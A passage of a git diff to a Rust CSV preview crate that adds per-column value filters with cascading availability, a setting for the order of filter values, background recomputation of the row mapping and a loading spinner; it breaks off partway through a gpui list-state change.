 .../csv_preview/src/renderer/preview_view.rs  |  16 +-
 .../src/renderer/row_identifiers.rs           |   1 +
 crates/csv_preview/src/renderer/settings.rs   |  53 +++-
 .../csv_preview/src/renderer/table_header.rs  | 199 +++++++++++++-
 crates/csv_preview/src/settings.rs            |  14 +-
 crates/csv_preview/src/table_data_engine.rs   |  62 +++--
 .../table_data_engine/filtering_by_column.rs  | 250 ++++++++++++++++++
 crates/gpui/src/elements/list.rs              |  38 +++
 11 files changed, 668 insertions(+), 46 deletions(-)
 create mode 100644 crates/csv_preview/src/table_data_engine/filtering_by_column.rs

diff --git a/crates/csv_preview/src/csv_preview.rs b/crates/csv_preview/src/csv_preview.rs
index 322777da042c2b..8f8ba76875436b 100644
--- a/crates/csv_preview/src/csv_preview.rs
+++ b/crates/csv_preview/src/csv_preview.rs
@@ -8,7 +8,7 @@ use std::{
     time::{Duration, Instant},
 };
 
-use crate::table_data_engine::TableDataEngine;
+use crate::table_data_engine::{DisplayToDataMapping, TableDataEngine};
 use ui::{
     AbsoluteLength, ResizableColumnsState, SharedString, TableInteractionState,
     TableResizeBehavior, prelude::*,
@@ -41,6 +41,10 @@ pub struct CsvPreviewView {
     pub(crate) table_interaction_state: Entity<TableInteractionState>,
     pub(crate) column_widths: ColumnWidths,
     pub(crate) parsing_task: Option<Task<anyhow::Result<()>>>,
+    pub(crate) is_parsing: bool,
+    /// Background task computing the display-to-data mapping after a filter/sort change.
+    /// Stored here so that a new change cancels the previous in-flight computation.
+    pub(crate) filter_sort_task: Option<Task<()>>,
     pub(crate) settings: CsvPreviewSettings,
     /// Performance metrics for debugging and monitoring CSV operations.
     pub(crate) performance_metrics: PerformanceMetrics,
@@ -178,9 +182,11 @@ impl CsvPreviewView {
                 table_interaction_state,
                 column_widths: ColumnWidths::new(cx, 1),
                 parsing_task: None,
+                is_parsing: false,
+                filter_sort_task: None,
                 performance_metrics: PerformanceMetrics::default(),
                 list_state: gpui::ListState::new(contents.rows.len(), ListAlignment::Top, px(1.))
-                    .measure_all(),
+                    .with_uniform_item_height(px(24.)),
                 settings: CsvPreviewSettings::default(),
                 last_parse_end_time: None,
                 engine: TableDataEngine::default(),
@@ -194,22 +200,54 @@ impl CsvPreviewView {
     pub(crate) fn editor_state(&self) -> &EditorState {
         &self.active_editor_state
     }
-    pub(crate) fn apply_sort(&mut self) {
-        self.performance_metrics.record("Sort", || {
-            self.engine.apply_sort();
-        });
+    pub(crate) fn apply_sort(&mut self, cx: &mut Context<Self>) {
+        self.apply_filter_sort(cx);
     }
 
-    /// Update ordered indices when ordering or content changes
-    pub(crate) fn apply_filter_sort(&mut self) {
-        self.performance_metrics.record("Filter&sort", || {
-            self.engine.calculate_d2d_mapping();
-        });
+    pub fn clear_filters(&mut self, col: types::AnyColumn, cx: &mut Context<Self>) {
+        self.engine.clear_filters_for_col(col);
+        self.apply_filter_sort(cx);
+    }
 
-        // Update list state with filtered row count
-        let visible_rows = self.engine.d2d_mapping().visible_row_count();
-        self.list_state =
-            gpui::ListState::new(visible_rows, ListAlignment::Top, px(100.)).measure_all();
+    pub fn toggle_filter(
+        &mut self,
+        col: types::AnyColumn,
+        value: Option<SharedString>,
+        cx: &mut Context<Self>,
+    ) {
+        if let Err(err) = self.engine.toggle_filter(col, value) {
+            log::error!("Failed to toggle filter: {err}");
+            return;
+        }
+        self.apply_filter_sort(cx);
+    }
+
+    /// Spawns a background task to recompute the display-to-data mapping after a filter or sort
+    /// change. Storing the task cancels any previous in-flight computation automatically.
+    pub(crate) fn apply_filter_sort(&mut self, cx: &mut Context<Self>) {
+        let contents = self.engine.contents.clone();
+        let filter_stack = self.engine.filter_stack.clone();
+        let sorting = self.engine.applied_sorting;
+
+        self.filter_sort_task = Some(cx.spawn(async move |this, cx| {
+            let mapping = cx
+                .background_spawn(async move {
+                    DisplayToDataMapping::compute(&contents, &filter_stack, sorting)
+                })
+                .await;
+
+            this.update(cx, |view, cx| {
+                view.engine.set_d2d_mapping(mapping);
+                let visible_rows = view.engine.d2d_mapping().visible_row_count();
+                // Approximation of single csv table row height. Will be re-measured on scrolling.
+                // This cheap solution allow to render scrollbar with fraction of a cost compared to `.measure_all()` call
+                let approximate_height = px(24.);
+                view.list_state
+                    .reset_with_uniform_height(visible_rows, approximate_height);
+                cx.notify();
+            })
+            .ok();
+        }));
     }
 
     pub fn resolve_active_item_as_csv_editor(
@@ -301,7 +339,7 @@ impl PerformanceMetrics {
             .map(|(name, (duration, time))| {
                 let took = duration.as_secs_f32() * 1000.;
                 let ago = time.elapsed().as_secs();
-                format!("{name}: {took:.2}ms {ago}s ago")
+                format!("{name}: {took:.3}ms {ago}s ago")
             })
             .collect::<Vec<_>>()
             .join("\n")
diff --git a/crates/csv_preview/src/parser.rs b/crates/csv_preview/src/parser.rs
index efa3573d7aa53d..116c8912a38684 100644
--- a/crates/csv_preview/src/parser.rs
+++ b/crates/csv_preview/src/parser.rs
@@ -1,3 +1,5 @@
+use std::sync::Arc;
+
 use crate::{
     CsvPreviewView,
     types::TableLikeContent,
@@ -23,6 +25,7 @@ impl CsvPreviewView {
         cx: &mut Context<Self>,
     ) {
         let editor = self.active_editor_state.editor.clone();
+        self.is_parsing = true;
         self.parsing_task = Some(self.parse_csv_in_background(wait_for_debounce, editor, cx));
     }
 
@@ -80,11 +83,13 @@ impl CsvPreviewView {
                     .insert("Parsing", (parse_duration, Instant::now()));
 
                 log::debug!("Parsed {} rows", parsed_csv.rows.len());
-                view.engine.contents = parsed_csv;
+                view.engine.contents = Arc::new(parsed_csv);
+                view.engine.calculate_available_filters();
                 view.sync_column_widths(cx);
                 view.last_parse_end_time = Some(parse_end_time);
 
-                view.apply_filter_sort();
+                view.is_parsing = false;
+                view.apply_filter_sort(cx);
                 cx.notify();
             })
         })
diff --git a/crates/csv_preview/src/renderer/performance_metrics_overlay.rs b/crates/csv_preview/src/renderer/performance_metrics_overlay.rs
index 3d0cf50cf1d34f..d9e7ce6ad9b61b 100644
--- a/crates/csv_preview/src/renderer/performance_metrics_overlay.rs
+++ b/crates/csv_preview/src/renderer/performance_metrics_overlay.rs
@@ -20,7 +20,7 @@ impl CsvPreviewView {
 
         let children = div()
             .absolute()
-            .top_24()
+            .bottom_8()
             .right_4()
             .px_3()
             .py_2()
diff --git a/crates/csv_preview/src/renderer/preview_view.rs b/crates/csv_preview/src/renderer/preview_view.rs
index 90500d53d06917..335633656afb84 100644
--- a/crates/csv_preview/src/renderer/preview_view.rs
+++ b/crates/csv_preview/src/renderer/preview_view.rs
@@ -1,6 +1,6 @@
 use std::time::Instant;
 
-use ui::{div, prelude::*};
+use ui::{SpinnerLabel, div, prelude::*};
 
 use crate::CsvPreviewView;
 
@@ -11,12 +11,12 @@ impl Render for CsvPreviewView {
         let render_prep_start = Instant::now();
         let table_with_settings = v_flex()
             .size_full()
-            .p_4()
             .bg(theme.colors().editor_background)
             .track_focus(&self.focus_handle)
             .child(self.render_settings_panel(window, cx))
             .child({
-                if self.engine.contents.number_of_cols == 0 {
+                let is_parsing = self.is_parsing;
+                if is_parsing || self.engine.contents.number_of_cols == 0 {
                     div()
                         .flex()
                         .items_center()
@@ -25,7 +25,15 @@ impl Render for CsvPreviewView {
                         .text_ui(cx)
                         .font_buffer(cx)
                         .text_color(cx.theme().colors().text_muted)
-                        .child("No CSV content to display")
+                        .when(is_parsing, |div| {
+                            div.child(
+                                h_flex()
+                                    .gap_2()
+                                    .child(SpinnerLabel::new())
+                                    .child("Loading…"),
+                            )
+                        })
+                        .when(!is_parsing, |div| div.child("No CSV content to display"))
                         .into_any_element()
                 } else {
                     self.create_table(&self.column_widths.widths, cx)
diff --git a/crates/csv_preview/src/renderer/row_identifiers.rs b/crates/csv_preview/src/renderer/row_identifiers.rs
index 06a26e4696e471..e24441d3885e9e 100644
--- a/crates/csv_preview/src/renderer/row_identifiers.rs
+++ b/crates/csv_preview/src/renderer/row_identifiers.rs
@@ -171,6 +171,7 @@ impl CsvPreviewView {
             .px_1()
             .border_b_1()
             .border_color(cx.theme().colors().border_variant)
+            .bg(cx.theme().colors().panel_background)
             .h_full()
             .text_ui(cx)
             // Row identifiers are always centered
diff --git a/crates/csv_preview/src/renderer/settings.rs b/crates/csv_preview/src/renderer/settings.rs
index cafa2a4c1bd954..18c185bb0f3c66 100644
--- a/crates/csv_preview/src/renderer/settings.rs
+++ b/crates/csv_preview/src/renderer/settings.rs
@@ -3,7 +3,10 @@ use ui::{
     IntoElement as _, ParentElement as _, Styled as _, Tooltip, Window, div, h_flex,
 };
 
-use crate::{CsvPreviewView, settings::VerticalAlignment};
+use crate::{
+    CsvPreviewView,
+    settings::{FilterSortOrder, VerticalAlignment},
+};
 
 ///// Settings related /////
 impl CsvPreviewView {
@@ -18,6 +21,11 @@ impl CsvPreviewView {
             VerticalAlignment::Center => "Center",
         };
 
+        let current_filter_sort_text = match self.settings.filter_sort_order {
+            FilterSortOrder::AlphaThenCount => "A-Z, then Count",
+            FilterSortOrder::CountThenAlpha => "Count, then A-Z",
+        };
+
         let view = cx.entity();
         let alignment_dropdown_menu = ContextMenu::build(window, cx, |menu, _window, _cx| {
             menu.entry("Top", None, {
@@ -40,6 +48,27 @@ impl CsvPreviewView {
             })
         });
 
+        let filter_sort_dropdown_menu = ContextMenu::build(window, cx, |menu, _window, _cx| {
+            menu.entry("A-Z, then Count", None, {
+                let view = view.clone();
+                move |_window, cx| {
+                    view.update(cx, |this, cx| {
+                        this.settings.filter_sort_order = FilterSortOrder::AlphaThenCount;
+                        cx.notify();
+                    });
+                }
+            })
+            .entry("Count, then A-Z", None, {
+                let view = view.clone();
+                move |_window, cx| {
+                    view.update(cx, |this, cx| {
+                        this.settings.filter_sort_order = FilterSortOrder::CountThenAlpha;
+                        cx.notify();
+                    });
+                }
+            })
+        });
+
         let panel = h_flex()
             .gap_4()
             .p_2()
@@ -68,6 +97,28 @@ impl CsvPreviewView {
                             "Choose vertical text alignment within cells",
                         )),
                     ),
+            )
+            .child(
+                h_flex()
+                    .gap_2()
+                    .items_center()
+                    .child(
+                        div()
+                            .text_sm()
+                            .text_color(cx.theme().colors().text_muted)
+                            .child("Filter Sort:"),
+                    )
+                    .child(
+                        DropdownMenu::new(
+                            ElementId::Name("filter-sort-order-dropdown".into()),
+                            current_filter_sort_text,
+                            filter_sort_dropdown_menu,
+                        )
+                        .trigger_size(ButtonSize::Compact)
+                        .trigger_tooltip(Tooltip::text(
+                            "Choose how filter values are sorted in the filter menu",
+                        )),
+                    ),
             );
 
         #[cfg(feature = "dev-tools")]
diff --git a/crates/csv_preview/src/renderer/table_header.rs b/crates/csv_preview/src/renderer/table_header.rs
index 05652b49a48ca9..1ce8d34d22b5ac 100644
--- a/crates/csv_preview/src/renderer/table_header.rs
+++ b/crates/csv_preview/src/renderer/table_header.rs
@@ -1,9 +1,13 @@
 use gpui::ElementId;
-use ui::{Tooltip, prelude::*};
+use ui::{ContextMenu, PopoverMenu, Tooltip, prelude::*};
 
 use crate::{
     CsvPreviewView,
-    table_data_engine::sorting_by_column::{AppliedSorting, SortDirection},
+    settings::FilterSortOrder,
+    table_data_engine::{
+        filtering_by_column::{FilterEntry, FilterEntryState},
+        sorting_by_column::{AppliedSorting, SortDirection},
+    },
     types::AnyColumn,
 };
 
@@ -22,7 +26,12 @@ impl CsvPreviewView {
             .w_full()
             .font_buffer(cx)
             .child(div().child(header_text))
-            .child(h_flex().gap_1().child(self.create_sort_button(cx, col_idx)))
+            .child(
+                h_flex()
+                    .gap_1()
+                    .child(self.create_filter_button(cx, col_idx))
+                    .child(self.create_sort_button(cx, col_idx)),
+            )
             .into_any_element()
     }
 
@@ -82,9 +91,191 @@ impl CsvPreviewView {
             };
 
             this.engine.applied_sorting = new_sorting;
-            this.apply_sort();
+            this.apply_sort(cx);
             cx.notify();
         }));
         sort_btn
     }
+
+    fn create_filter_button(
+        &self,
+        cx: &mut Context<'_, CsvPreviewView>,
+        col: AnyColumn,
+    ) -> PopoverMenu<ContextMenu> {
+        let has_active_filters = self.engine.has_active_filters(col);
+
+        PopoverMenu::new(ElementId::NamedInteger(
+            "filter-menu".into(),
+            col.get() as u64,
+        ))
+        .trigger_with_tooltip(
+            Button::new(
+                ElementId::NamedInteger("filter-button".into(), col.get() as u64),
+                if has_active_filters { "⛊" } else { "⛉" },
+            )
+            .size(ButtonSize::Compact)
+            .style(if has_active_filters {
+                ButtonStyle::Filled
+            } else {
+                ButtonStyle::Subtle
+            }),
+            Tooltip::text(if has_active_filters {
+                "Column has active filters. Click to manage"
+            } else {
+                "No filters applied. Click to add filters"
+            }),
+        )
+        .menu({
+            let view_entity = cx.entity();
+            move |window, cx| {
+                let view = view_entity.read(cx);
+                let column_filters = match view.engine.get_filters_for_column(col) {
+                    Ok(filters) => filters,
+                    Err(err) => {
+                        log::error!("Failed to get filters for column: {err}");
+                        return None;
+                    }
+                };
+                let filter_sort_order = view.settings.filter_sort_order;
+                let filter_menu = Self::create_filter_menu(
+                    window,
+                    cx,
+                    view_entity.clone(),
+                    col,
+                    &column_filters,
+                    has_active_filters,
+                    filter_sort_order,
+                );
+                Some(filter_menu)
+            }
+        })
+    }
+
+    fn create_filter_menu(
+        window: &mut ui::Window,
+        cx: &mut ui::App,
+        view_entity: gpui::Entity<CsvPreviewView>,
+        col: AnyColumn,
+        column_filters: &[(FilterEntry, FilterEntryState)],
+        has_active_filters: bool,
+        sort_order: FilterSortOrder,
+    ) -> gpui::Entity<ContextMenu> {
+        let mut available: Vec<&FilterEntry> = column_filters
+            .iter()
+            .filter_map(|(entry, state)| {
+                matches!(state, FilterEntryState::Available { .. }).then_some(entry)
+            })
+            .collect();
+
+        match sort_order {
+            FilterSortOrder::AlphaThenCount => available.sort_by(|a, b| {
+                a.content
+                    .cmp(&b.content)
+                    .then_with(|| b.occurred_times().cmp(&a.occurred_times()))
+            }),
+            FilterSortOrder::CountThenAlpha => available.sort_by(|a, b| {
+                b.occurred_times()
+                    .cmp(&a.occurred_times())
+                    .then_with(|| a.content.cmp(&b.content))
+            }),
+        }
+
+        let unavailable: Vec<(&FilterEntry, AnyColumn)> = column_filters
+            .iter()
+            .filter_map(|(entry, state)| {
+                if let FilterEntryState::Unavailable { blocked_by } = state {
+                    Some((entry, *blocked_by))
+                } else {
+                    None
+                }
+            })
+            .collect();
+
+        // Pre-build applied-state lookup before moving into the closure
+        let applied_states: Vec<(FilterEntry, bool)> = column_filters
+            .iter()
+            .filter_map(|(entry, state)| {
+                if let FilterEntryState::Available { is_applied } = state {
+                    Some((entry.clone(), *is_applied))
+                } else {
+                    None
+                }
+            })
+            .collect();
+
+        let available_cloned: Vec<FilterEntry> = available.iter().map(|e| (*e).clone()).collect();
+        let unavailable_cloned: Vec<(FilterEntry, AnyColumn)> = unavailable
+            .into_iter()
+            .map(|(e, col)| (e.clone(), col))
+            .collect();
+
+        ContextMenu::build(window, cx, move |menu, _, _| {
+            let mut menu = menu;
+
+            if has_active_filters {
+                menu = menu
+                    .toggleable_entry("Clear all", false, ui::IconPosition::Start, None, {
+                        let view_entity = view_entity.clone();
+                        move |_window, cx| {
+                            view_entity.update(cx, |view, cx| {
+                                view.clear_filters(col, cx);
+                                cx.notify();
+                            });
+                        }
+                    })
+                    .separator();
+            }
+
+            for entry in &available_cloned {
+                let is_applied = applied_states
+                    .iter()
+                    .find(|(e, _)| e.content == entry.content)
+                    .map_or(false, |(_, applied)| *applied);
+
+                let label: SharedString =
+                    format_filter_label(entry.content.as_ref(), entry.occurred_times()).into();
+                let entry_value = entry.content.clone();
+
+                menu = menu.toggleable_entry(&label, is_applied, ui::IconPosition::Start, None, {
+                    let view_entity = view_entity.clone();
+                    move |_window, cx| {
+                        view_entity.update(cx, |view, cx| {
+                            view.toggle_filter(col, entry_value.clone(), cx);
+                            cx.notify();
+                        });
+                    }
+                });
+            }
+
+            if !unavailable_cloned.is_empty() {
+                menu = menu.separator().header("Hidden by other filters");
+                for (entry, _blocked_by) in &unavailable_cloned {
+                    let label: SharedString =
+                        format_filter_label(entry.content.as_ref(), entry.occurred_times()).into();
+                    menu = menu.custom_entry(
+                        {
+                            let label = label.clone();
+                            move |_window, cx| {
+                                div()
+                                    .px_2()
+                                    .text_color(cx.theme().colors().text_muted)
+                                    .child(label.clone())
+                                    .into_any_element()
+                            }
+                        },
+                        |_, _| {},
+                    );
+                }
+            }
+
+            menu
+        })
+    }
+}
+
+fn format_filter_label(content: Option<&SharedString>, count: usize) -> String {
+    match content {
+        Some(s) => format!("{s} ({count})"),
+        None => format!("<null> ({count})"),
+    }
 }
diff --git a/crates/csv_preview/src/settings.rs b/crates/csv_preview/src/settings.rs
index 215d681c28fd7f..2d5cc78c5f5645 100644
--- a/crates/csv_preview/src/settings.rs
+++ b/crates/csv_preview/src/settings.rs
@@ -1,10 +1,10 @@
 #[derive(Default, Clone, Copy, PartialEq)]
 pub enum RowRenderMechanism {
     /// More correct for multiline content, but slower.
-    #[allow(dead_code)] // Will be used when settings ui is added
+    #[default]
     VariableList,
     /// Default behaviour for now while resizable columns are being stabilized.
-    #[default]
+    #[allow(dead_code)] // Will be used when settings ui is added
     UniformList,
 }
 
@@ -26,11 +26,21 @@ pub enum RowIdentifiers {
     RowNum,
 }
 
+#[derive(Default, Clone, Copy, PartialEq)]
+pub enum FilterSortOrder {
+    /// Sort alphabetically (A→Z), then by number of occurrences descending within ties
+    #[default]
+    AlphaThenCount,
+    /// Sort by number of occurrences descending, then alphabetically within ties
+    CountThenAlpha,
+}
+
 #[derive(Clone, Default)]
 pub(crate) struct CsvPreviewSettings {
     pub(crate) rendering_with: RowRenderMechanism,
     pub(crate) vertical_alignment: VerticalAlignment,
     pub(crate) numbering_type: RowIdentifiers,
+    pub(crate) filter_sort_order: FilterSortOrder,
     pub(crate) show_debug_info: bool,
     #[cfg(feature = "dev-tools")]
     pub(crate) show_perf_metrics_overlay: bool,
diff --git a/crates/csv_preview/src/table_data_engine.rs b/crates/csv_preview/src/table_data_engine.rs
index 382b41a2850721..f2613215fa5c04 100644
--- a/crates/csv_preview/src/table_data_engine.rs
+++ b/crates/csv_preview/src/table_data_engine.rs
@@ -5,22 +5,32 @@
 //!
 //! It's designed to contain core logic of operations without relying on `CsvPreviewView`, context or window handles.
 
-use std::{collections::HashMap, sync::Arc};
+use std::{
+    collections::{HashMap, HashSet},
+    sync::Arc,
+};
 
 use ui::table_row::TableRow;
 
 use crate::{
-    table_data_engine::sorting_by_column::{AppliedSorting, sort_data_rows},
-    types::{DataRow, DisplayRow, TableCell, TableLikeContent},
+    table_data_engine::{
+        filtering_by_column::{FilterEntry, FilterStack, calculate_available_filters, retain_rows},
+        sorting_by_column::{AppliedSorting, sort_data_rows},
+    },
+    types::{AnyColumn, DataRow, DisplayRow, TableCell, TableLikeContent},
 };
 
+pub mod filtering_by_column;
 pub mod sorting_by_column;
 
 #[derive(Default)]
 pub(crate) struct TableDataEngine {
+    pub filter_stack: FilterStack,
+    /// Pre-computed unique values per column, used to populate filter menus
+    all_filters: HashMap<AnyColumn, Vec<FilterEntry>>,
     pub applied_sorting: Option<AppliedSorting>,
     d2d_mapping: DisplayToDataMapping,
-    pub contents: TableLikeContent,
+    pub contents: Arc<TableLikeContent>,
 }
 
 impl TableDataEngine {
@@ -28,32 +38,47 @@ impl TableDataEngine {
         &self.d2d_mapping
     }
 
-    pub(crate) fn apply_sort(&mut self) {
-        self.d2d_mapping
-            .apply_sorting(self.applied_sorting, &self.contents.rows);
-        self.d2d_mapping.merge_mappings();
+    pub(crate) fn set_d2d_mapping(&mut self, mapping: DisplayToDataMapping) {
+        self.d2d_mapping = mapping;
     }
 
-    /// Applies sorting and filtering to the data and produces display to data mapping
-    pub(crate) fn calculate_d2d_mapping(&mut self) {
-        self.d2d_mapping
-            .apply_sorting(self.applied_sorting, &self.contents.rows);
-        self.d2d_mapping.merge_mappings();
+    /// Recomputes the unique filter entries for every column from the current table data.
+    /// Must be called after content changes (e.g. after parsing).
+    pub fn calculate_available_filters(&mut self) {
+        self.all_filters =
+            calculate_available_filters(&self.contents.rows, self.contents.number_of_cols);
     }
 }
 
 /// Relation of Display (rendered) rows to Data (src) rows with applied transformations
 /// Transformations applied:
 /// - sorting by column
+/// - filtering by column values
 #[derive(Debug, Default)]
 pub struct DisplayToDataMapping {
-    /// All rows sorted, regardless of applied filtering. Applied every time sorting changes
+    /// All rows sorted, regardless of applied filtering. Recomputed every time sorting changes
     pub sorted_rows: Vec<DataRow>,
-    /// Filtered and sorted rows. Computed cheaply from `sorted_mapping` and `filtered_out_rows`
+    /// Rows that survive the active filters. Recomputed every time filters change
+    pub retained_rows: HashSet<DataRow>,
+    /// Merged result: sorted rows intersected with retained rows
     pub mapping: Arc<HashMap<DisplayRow, DataRow>>,
 }
 
 impl DisplayToDataMapping {
+    /// Computes the full display-to-data mapping from owned inputs.
+    /// Intended to be called from a background thread.
+    pub(crate) fn compute(
+        contents: &Arc<TableLikeContent>,
+        filter_stack: &FilterStack,
+        sorting: Option<AppliedSorting>,
+    ) -> Self {
+        let mut mapping = Self::default();
+        mapping.apply_sorting(sorting, &contents.rows);
+        mapping.apply_filtering(filter_stack, &contents.rows);
+        mapping.merge_mappings();
+        mapping
+    }
+
     /// Get the data row for a given display row
     pub fn get_data_row(&self, display_row: DisplayRow) -> Option<DataRow> {
         self.mapping.get(&display_row).copied()
@@ -77,11 +102,16 @@ impl DisplayToDataMapping {
         self.sorted_rows = sorted_rows;
     }
 
-    /// Take pre-computed sorting and filtering results, and apply them to the mapping
+    fn apply_filtering(&mut self, filter_stack: &FilterStack, rows: &[TableRow<TableCell>]) {
+        self.retained_rows = retain_rows(rows, filter_stack);
+    }
+
+    /// Merges pre-computed sorting and filtering into the final display mapping
     fn merge_mappings(&mut self) {
         self.mapping = Arc::new(
             self.sorted_rows
                 .iter()
+                .filter(|data_row| self.retained_rows.contains(data_row))
                 .enumerate()
                 .map(|(display, data)| (DisplayRow(display), *data))
                 .collect(),
diff --git a/crates/csv_preview/src/table_data_engine/filtering_by_column.rs b/crates/csv_preview/src/table_data_engine/filtering_by_column.rs
new file mode 100644
index 00000000000000..b2b8a78c05aea8
--- /dev/null
+++ b/crates/csv_preview/src/table_data_engine/filtering_by_column.rs
@@ -0,0 +1,250 @@
+use std::{
+    collections::{HashMap, HashSet},
+    sync::Arc,
+};
+
+use ui::{SharedString, table_row::TableRow};
+
+use crate::{
+    table_data_engine::TableDataEngine,
+    types::{AnyColumn, DataRow, TableCell},
+};
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
+pub enum FilterEntryState {
+    Available { is_applied: bool },
+    Unavailable { blocked_by: AnyColumn },
+}
+
+#[derive(Debug, Clone)]
+pub struct FilterEntry {
+    /// Content to display. None if cell is virtual
+    pub content: Option<SharedString>,
+    /// List of rows in which this value occurs
+    pub rows: Vec<DataRow>,
+}
+
+impl FilterEntry {
+    pub(crate) fn occurred_times(&self) -> usize {
+        self.rows.len()
+    }
+}
+
+#[derive(Debug, Default, Clone)]
+pub(crate) struct FilterStack {
+    /// Columns in the order their first filter was applied, used to compute cascade availability
+    activation_order: Vec<AnyColumn>,
+    /// Which cell values are currently allowed for each filtered column
+    retention_config: HashMap<AnyColumn, HashSet<Option<SharedString>>>,
+}
+
+impl TableDataEngine {
+    pub(crate) fn has_active_filters(&self, col: AnyColumn) -> bool {
+        self.filter_stack.retention_config.contains_key(&col)
+    }
+
+    /// Get available filters for a specific column with cascade behavior.
+    ///
+    /// A filter entry is "unavailable" when all of its rows are hidden by a
+    /// filter on an earlier-activated column, meaning selecting it would show
+    /// zero rows. The cascade walk stops at `column` so that the column's own
+    /// current filter does not affect its own entry availability.
+    pub(crate) fn get_filters_for_column(
+        &self,
+        column: AnyColumn,
+    ) -> anyhow::Result<Arc<Vec<(FilterEntry, FilterEntryState)>>> {
+        let all_column_entries = self
+            .all_filters
+            .get(&column)
+            .ok_or_else(|| anyhow::anyhow!("Expected {column:?} to have filter entries"))?;
+
+        let mut unavailable_entries: HashMap<Option<SharedString>, AnyColumn> = HashMap::new();
+
+        for &column_applied_previously in &self.filter_stack.activation_order {
+            if column_applied_previously == column {
+                break;
+            }
+
+            let retained_values = self
+                .filter_stack
+                .retention_config
+                .get(&column_applied_previously)
+                .ok_or_else(|| {
+                    anyhow::anyhow!(
+                        "Expected {column_applied_previously:?} to have retained entries \
+                         as it is present in the filter stack"
+                    )
+                })?;
+
+            // Rows that survive the filter on `column_applied_previously`
+            let retained_rows: HashSet<DataRow> = self
+                .contents
+                .rows
+                .iter()
+                .enumerate()
+                .filter(|(_, row)| {
+                    let cell_value = row
+                        .get(column_applied_previously)
+                        .and_then(|cell| cell.display_value().cloned());
+                    retained_values.contains(&cell_value)
+                })
+                .map(|(index, _)| DataRow(index))
+                .collect();
+
+            // An entry is unavailable when none of its rows survive the parent filter
+            for entry in all_column_entries {
+                if !entry.rows.iter().any(|row| retained_rows.contains(row)) {
+                    unavailable_entries.insert(entry.content.clone(), column_applied_previously);
+                }
+            }
+        }
+
+        let empty = HashSet::new();
+        let active_column_filters = self
+            .filter_stack
+            .retention_config
+            .get(&column)
+            .unwrap_or(&empty);
+
+        Ok(Arc::new(
+            all_column_entries
+                .iter()
+                .map(|entry| {
+                    let state = if let Some(&blocked_by) = unavailable_entries.get(&entry.content) {
+                        FilterEntryState::Unavailable { blocked_by }
+                    } else {
+                        FilterEntryState::Available {
+                            is_applied: active_column_filters.contains(&entry.content),
+                        }
+                    };
+                    (entry.clone(), state)
+                })
+                .collect(),
+        ))
+    }
+
+    pub(crate) fn clear_filters_for_col(&mut self, col: AnyColumn) {
+        self.filter_stack
+            .activation_order
+            .retain(|&entry| entry != col);
+        self.filter_stack.retention_config.remove(&col);
+    }
+
+    /// Toggle a filter value for a column. Returns `true` if the filter was
+    /// added, `false` if it was removed.
+    pub(crate) fn toggle_filter(
+        &mut self,
+        column: AnyColumn,
+        value: Option<SharedString>,
+    ) -> anyhow::Result<bool> {
+        let is_currently_applied = self
+            .filter_stack
+            .retention_config
+            .get(&column)
+            .is_some_and(|filters| filters.contains(&value));
+
+        if is_currently_applied {
+            self.remove_filter(column, value)?;
+            Ok(false)
+        } else {
+            self.apply_filter(column, value);
+            Ok(true)
+        }
+    }
+
+    fn remove_filter(
+        &mut self,
+        column: AnyColumn,
+        value: Option<SharedString>,
+    ) -> anyhow::Result<()> {
+        let entries = self
+            .filter_stack
+            .retention_config
+            .get_mut(&column)
+            .ok_or_else(|| {
+                anyhow::anyhow!("Expected {column:?} to be present in active filters")
+            })?;
+
+        debug_assert!(
+            entries.contains(&value),
+            "Expected value to be present in {column:?} active filters"
+        );
+
+        if entries.len() == 1 {
+            self.filter_stack.retention_config.remove(&column);
+            self.filter_stack
+                .activation_order
+                .retain(|&entry| entry != column);
+        } else {
+            entries.remove(&value);
+        }
+        Ok(())
+    }
+
+    fn apply_filter(&mut self, column: AnyColumn, value: Option<SharedString>) {
+        // Track the column only on its first activation to preserve cascade order
+        if !self.filter_stack.activation_order.contains(&column) {
+            self.filter_stack.activation_order.push(column);
+        }
+        self.filter_stack
+            .retention_config
+            .entry(column)
+            .or_default()
+            .insert(value);
+    }
+}
+
+/// Calculate available filter entries for each column from the table data.
+pub fn calculate_available_filters(
+    content_rows: &[TableRow<TableCell>],
+    number_of_cols: usize,
+) -> HashMap<AnyColumn, Vec<FilterEntry>> {
+    let mut available_filters = HashMap::new();
+
+    for col_idx in 0..number_of_cols {
+        let column = AnyColumn::new(col_idx);
+        let mut value_to_rows: HashMap<Option<SharedString>, Vec<DataRow>> = HashMap::new();
+
+        for (row_index, row) in content_rows.iter().enumerate() {
+            let cell_value = row
+                .get(column)
+                .and_then(|cell| cell.display_value().cloned());
+            value_to_rows
+                .entry(cell_value)
+                .or_default()
+                .push(DataRow(row_index));
+        }
+
+        let filter_entries: Vec<FilterEntry> = value_to_rows
+            .into_iter()
+            .map(|(content, rows)| FilterEntry { content, rows })
+            .collect();
+
+        available_filters.insert(column, filter_entries);
+    }
+
+    available_filters
+}
+
+/// Returns the set of data rows that survive all active filters in the stack.
+pub fn retain_rows(
+    content_rows: &[TableRow<TableCell>],
+    filter_stack: &FilterStack,
+) -> HashSet<DataRow> {
+    let config = &filter_stack.retention_config;
+    if config.is_empty() {
+        return (0..content_rows.len()).map(DataRow).collect();
+    }
+
+    content_rows
+        .iter()
+        .enumerate()
+        .filter(|(_, row)| {
+            config.iter().all(|(col, allowed_values)| {
+                let cell_value = row.get(*col).and_then(|cell| cell.display_value().cloned());
+                allowed_values.contains(&cell_value)
+            })
+        })
+        .map(|(index, _)| DataRow(index))
+        .collect()
+}
diff --git a/crates/gpui/src/elements/list.rs b/crates/gpui/src/elements/list.rs
index 85b38d5234efec..62b481bc53045d 100644
--- a/crates/gpui/src/elements/list.rs
+++ b/crates/gpui/src/elements/list.rs
@@ -338,6 +338,17 @@ impl ListState {
         self
     }
 
+    /// Pre-populate every unmeasured item with a uniform height hint so the scrollbar thumb
+    /// is correctly sized from the first frame, without measuring all items up front.
+    ///
+    /// As items are actually rendered their real heights replace the hint, so the scrollbar
+    /// converges to the exact size over time. This is a cheaper alternative to [`Self::measure_all`]
+    /// for lists where items have roughly uniform heights (e.g. table rows).
+    pub fn with_uniform_item_height(self, height: Pixels) -> Self {
+        self.apply_uniform_item_height(height);
+        self
+    }
+
     /// Reset this instantiation of the list state.
     ///
     /// Note that this will cause scroll events to be dropped until the next paint.
@@ -355,6 +366,33 @@ impl ListState {
         self.splice(0..old_count, element_count);
     }
 
+    /// Reset the list to `element_count` items, pre-populating every item with a
+    /// uniform height hint so the scrollbar thumb is correctly sized from the first
+    /// frame even for off-screen items.
